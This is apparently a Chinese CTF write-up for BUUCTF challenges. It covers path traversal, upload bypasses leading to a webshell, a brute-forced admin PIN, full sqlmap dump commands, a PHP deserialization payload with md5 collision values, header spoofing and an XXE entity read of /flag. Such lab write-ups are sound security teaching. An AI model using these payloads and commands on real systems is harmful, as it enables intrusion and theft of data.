解题思路:已给用户名密码,直接用ssh工具连接即可获取flag
查找flag在跟下
提交完成。
访问链接:为php代码审计题,看题目要求构造GET请求读取文件
http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag
访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。
选择第一关:查看代码发现为前端js限制文件类型,这种直接使用抓包进行绕过
准备shell木马文件:
修改扩展名为.jpg 或.png或.gif
文件上传抓包:
修改扩展名为php
文件存放位置:
使用蚁剑链接
成功获取flag,其他关卡不在说明,通关思路都为上传绕过。
一个登陆框:
随便输入账号密码:
提示用户名错误:
试试常用用户名admin、root、administrator等
发现使用admin作为用户名,提示密码为四位数字。
使用暴力破解:
使用字典生成器生成4位数密码:
密码破译为:6490
明显的sql注入
使用sqlmap直接爆数据库
加参数 -dbs
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -dbs
其中news和test比较显眼,查news数据库
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news --tables
查看admin表内字段
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin --columns
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin -C id,password,username --dump
admin 加密码登陆注意这里不是md5加密,开始看错了,解半天没解出发现是明文存储的,无语。
代码审计:
代码片段:
correct = base64_encode(uniqid()); //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID,base64_encode为转换为bash64编码 if($this->correct === $this->input) { /判断两个属性是否全等 echo file_get_contents("/flag"); //若全等,则打印根目录下的flag } } catch (Exception $e) { } } } if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52) if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
第二段代码get参数简单为
http://IP/?pleaseget=1
第一段代码使用空数组绕过,给POST参数
pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
此题详解可以看:https://blog.csdn.net/weixin_43965597/article/details/126381171
参考之前写的:https://blog.csdn.net/qq_39583774/article/details/120722112?spm=1001.2014.3001.5501
上传实验
这里我传的docx的文件,可以看到变成了jpg的格式
并看不到文件内容
使用抓包工具修改包:
尝试连接:
测试连接失败:
使用其他方式,发现这里不对,上传一个phpinfo发现能够执行,但是执行的jpg格式。
既然能够执行php那我们直接写一个php打印flag即可。
$output"; ?>
上传直接访问即可拿到flag
打开后直接显示只能本地访问,本地ip的由X-Forwarded-For和X-Real-IP进行构建
这里是使用的X-Real-IP构建的
XXE漏洞是外部实体注入攻击
用burp抓包,这里是个xml的提交
我们在这定义了一个实体 xxe,它将指向/flag 文件,然后我们在 XML 数据中使用 &xxe; 引用这个实体,这样攻击者就可以将该文件中的内容读取到 HTTP 响应中。
]>&xxe; test